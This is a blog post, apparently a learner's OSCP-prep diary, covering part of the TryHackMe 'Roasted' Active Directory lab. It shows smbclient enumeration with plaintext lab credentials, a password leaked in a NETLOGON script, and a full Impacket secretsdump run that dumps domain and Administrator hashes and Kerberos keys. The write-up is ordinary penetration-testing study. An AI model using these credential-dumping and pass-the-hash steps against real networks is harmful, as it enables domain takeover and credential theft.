Post cover image
Not the roast that we are after. But this one will do. Image from here

July 21, 2026

OSCP Dailies: THM — Roasted — Day 3

This is part of my daily labs in preparation for OSCP. I am documenting everything I am learning, tools that I am using and reflections as…

By MichaelLearns_

4 min read

This is part of my daily labs in preparation for OSCP. I am documenting everything I am learning, tools that I am using and reflections as I go through this journey. In this lab from THM, we will be working on another Active Directory attack. Feel free to follow Day 1 and Day 2 notes.

Review

  • Day 1 — Started with basic enumeration. Used nmap to look at open ports and services. Confirmed machine is an AD. Ran smbclient to look for shared drives. Found some files that were useful for enumerating users.
  • Day 2 — Resumed with enumeration. Used impacket's lookupsid with anonymous access and confirmed some of the users in the AD. Performed ASPRoasting via Impacket's GetNPUsers. Found a hash for user t-skid and was able to crack its password.

Moving Laterally

So we have not the credentials for the user t-skid. We can move on to use this credential to possible move laterally within the network, verify what access and resources this user may have so then we can use this for the next phase of the attack.

We can use smbclient again if this account may have access to some shared drives. This is a handy cheat sheet as I prone to forget the commands all the time.

smbclient -L ////10.144.166.195 -U t-skid

Again for this command, the following parameters need to be defined:

  • L to list down available drives.
  • Note that the IP address has to have the 4 forward slashes
  • -U to enter the username

After entering the password, the following lists of drives were present.

Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
   IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share
 SYSVOL          Disk      Logon server share
 VulnNet-Business-Anonymous Disk      VulnNet Business Sharing
 VulnNet-Enterprise-Anonymous Disk      VulnNet Enterprise Sharing

Looking at the familiar shared drives of VulnNet-Business-Anonymous and VulnNet-Enterprise-Anonymous, we dont have much new information that can lead us forward.

Checking other drives will yield the following:

ADMIN$

smbclient //10.144.166.195/ADMIN$ -U t-skid%tj072889*
tree connect failed: NT_STATUS_ACCESS_DENIED

C$

smbclient //10.144.166.195/C$ -U t-skid%tj072889*
tree connect failed: NT_STATUS_ACCESS_DENIED

But IPC$ has below:

smbclient //10.144.166.195/IPC$ -U t-skid%tj072889*
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_NO_SUCH_FILE listing \*
smb: \>

Nothing much on those drives.

Looking now the oddly named NETLOGON

smbclient //10.144.166.195/NETLOGON -U t-skid%tj072889*Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Mar 16 23:15:49 2021
  ..                                  D        0  Tue Mar 16 23:15:49 2021
  ResetPassword.vbs                   A     2821  Tue Mar 16 23:18:14 2021

There is a visual basic script file which is interesting.

I tried to download the file using command get, then verified that there is a hardcoded credentials shown on the script.

None

The credentials are below:

Username : a-whitehat
Password: bNdKVkjv3RR9ht

The script seems to look at the users on the domain's active directory. If the user is found then it will reset its password. It seems like you will have to manually add the value to the variable strUserNTName. This is the name of the account you want to reset. Then if the user is available, it will set the password based on the value on the variable found on strPassword.

Possibly what could have happened here is that t-skid has used this script to reset the password of a-whitehat but the script was not deleted properly.

Access to a-whitehat

Following the same procedure we did with the user t-skid, we can verify if the credentials are still valid.

We can possibly use smbclient again to check for drives available.

smbclient -L \\10.144.166.195 -U a-whitehat
Password for [WORKGROUP\a-whitehat]:

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share
 SYSVOL          Disk      Logon server share
 VulnNet-Business-Anonymous Disk      VulnNet Business Sharing
 VulnNet-Enterprise-Anonymous Disk      VulnNet Enterprise Sharing

Based from the output above, the credentials still work!

We can use now secretdumps if it may give us some hash for other users.

I did use this article to remind me of the commands for this tool.

So using secretsdump and specifying the domain, the user name and the password along with the IP address of the AD, a good number of hashes were captured.

The output is below:

secretsdump vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.144.166.195
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
VULNNET-RST\WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-96:c762efa086131ddb5c2140fa238a4112b73ba95e5cf41ba1cc13ad060fa475dc
VULNNET-RST\WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-96:15e9afb44fc6ba8c787ed1838739b713
VULNNET-RST\WIN-2BO8M1OE1M1$:des-cbc-md5:31c834dc5b675b07
VULNNET-RST\WIN-2BO8M1OE1M1$:plain_password_hex:db2ceabc23002b634321b1b3c27803dc0f2a6992f49bb7e4f6e7b08852b714bd03f83e2f8c8e49cb4648e765bc1556fefaff686578e4e322dee9770cc9a2cd1662e2c968c53ee41d2960c17f3f01be36d2e89701255831e677754ca5c2a3e43aa33f25bcddf52623b0c2f6ebaec19f76735298ad62d70c3490c135186e7fafe18c45f242f99807631204688778193ee1f028b24bc504041c747001f981b1c76254bc4957aba2c291d8ed96dab021e06bdfae9834275e57f72e5064a903797b735e19b9f94fc5eb39c4fb40b353c86c4aa43f7854c1ddd7b3422e1d51318eed69e17293816b0f704c97e21021cf1cd8bf
VULNNET-RST\WIN-2BO8M1OE1M1$:aad3b435b51404eeaad3b435b51404ee:73ac56388d7d0791f3e8cdaa8d51896a:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x20809b3917494a0d3d5de6d6680c00dd718b1419
dpapi_userkey:0xbf8cce326ad7bdbb9bbd717c970b7400696d3855
[*] NL$KM
 0000   F3 F6 6B 8D 1E 2A F4 8E  85 F6 7A 46 D1 25 A0 D3   ..k..*....zF.%..
 0010   EA F4 90 7D 2D CB A5 8C  88 C5 68 4C 1E D3 67 3B   ...}-.....hL..g;
 0020   DB 31 D9 91 C9 BB 6A 57  EA 18 2C 90 D3 06 F8 31   .1....jW..,....1
 0030   7C 8C 31 96 5E 53 5B 85  60 B4 D5 6B 47 61 85 4A   |.1.^S[.`..kGa.J
NL$KM:f3f66b8d1e2af48e85f67a46d125a0d3eaf4907d2dcba58c88c5684c1ed3673bdb31d991c9bb6a57ea182c90d306f8317c8c31965e535b8560b4d56b4761854a
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7633f01273fc92450b429d6067d1ca32:::
vulnnet-rst.local\enterprise-core-vn:1104:aad3b435b51404eeaad3b435b51404ee:8752ed9e26e6823754dce673de76ddaf:::
vulnnet-rst.local\a-whitehat:1105:aad3b435b51404eeaad3b435b51404ee:1bd408897141aa076d62e9bfc1a5956b:::
vulnnet-rst.local\t-skid:1109:aad3b435b51404eeaad3b435b51404ee:49840e8a32937578f8c55fdca55ac60b:::
vulnnet-rst.local\j-goldenhand:1110:aad3b435b51404eeaad3b435b51404ee:1b1565ec2b57b756b912b5dc36bc272a:::
vulnnet-rst.local\j-leet:1111:aad3b435b51404eeaad3b435b51404ee:605e5542d42ea181adeca1471027e022:::
WIN-2BO8M1OE1M1$:1000:aad3b435b51404eeaad3b435b51404ee:73ac56388d7d0791f3e8cdaa8d51896a:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:7f9adcf2cb65ebb5babde6ec63e0c8165a982195415d81376d1f4ae45072ab83
Administrator:aes128-cts-hmac-sha1-96:d9d0cc6b879ca5b7cfa7633ffc81b849
Administrator:des-cbc-md5:52d325cb2acd8fc1
krbtgt:aes256-cts-hmac-sha1-96:a27160e8a53b1b151fa34f45524a07eb9899ebdf0051b20d677f0c3b518885bd
krbtgt:aes128-cts-hmac-sha1-96:75c22aac8f2b729a3a5acacec729e353
krbtgt:des-cbc-md5:1357f2e9d3bc0bd3
vulnnet-rst.local\enterprise-core-vn:aes256-cts-hmac-sha1-96:9da9e2e1e8b5093fb17b9a4492653ceab4d57a451bd41de36b7f6e06e91e98f3
vulnnet-rst.local\enterprise-core-vn:aes128-cts-hmac-sha1-96:47ca3e5209bc0a75b5622d20c4c81d46
vulnnet-rst.local\enterprise-core-vn:des-cbc-md5:200e0102ce868016
vulnnet-rst.local\a-whitehat:aes256-cts-hmac-sha1-96:f0858a267acc0a7170e8ee9a57168a0e1439dc0faf6bc0858a57687a504e4e4c
vulnnet-rst.local\a-whitehat:aes128-cts-hmac-sha1-96:3fafd145cdf36acaf1c0e3ca1d1c5c8d
vulnnet-rst.local\a-whitehat:des-cbc-md5:028032c2a8043ddf
vulnnet-rst.local\t-skid:aes256-cts-hmac-sha1-96:a7d2006d21285baee8e46454649f3bd4a1790c7f4be7dd0ce72360dc6c962032
vulnnet-rst.local\t-skid:aes128-cts-hmac-sha1-96:8bdfe91cca8b16d1b3b3fb6c02565d16
vulnnet-rst.local\t-skid:des-cbc-md5:25c2739dcb646bfd
vulnnet-rst.local\j-goldenhand:aes256-cts-hmac-sha1-96:fc08aeb44404f23ff98ebc3aba97242155060928425ec583a7f128a218e4c5ad
vulnnet-rst.local\j-goldenhand:aes128-cts-hmac-sha1-96:7d218a77c73d2ea643779ac9b125230a
vulnnet-rst.local\j-goldenhand:des-cbc-md5:c4e65d49feb63180
vulnnet-rst.local\j-leet:aes256-cts-hmac-sha1-96:1327c55f2fa5e4855d990962d24986b63921bd8a10c02e862653a0ac44319c62
vulnnet-rst.local\j-leet:aes128-cts-hmac-sha1-96:f5d92fe6dc0f8e823f229fab824c1aa9
vulnnet-rst.local\j-leet:des-cbc-md5:0815580254a49854
WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-96:c762efa086131ddb5c2140fa238a4112b73ba95e5cf41ba1cc13ad060fa475dc
WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-96:15e9afb44fc6ba8c787ed1838739b713
WIN-2BO8M1OE1M1$:des-cbc-md5:7afb4f027a20addc

The interesting one is the hash of the administrator account which is

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::

Access to the Admin Account

We can now possibly use several tools such as Evil-WinRM to verify if we can login using the Administrator's hash.

But time is up for my daily 30 mins blog — will have to continue and finish it off tomorrow :)

Review

  • Accessed to the account t-skid. Found a credential on a visual basic script.
  • Verified that the credential works.
  • Checked if the hash of the users can be dumped. Many hashes obtained particularly the Administrator.
  • Verify via evil-winrm, or psexec or other tool if we can further escalate our privilege.

It was great fun — hope you all have a great time learning.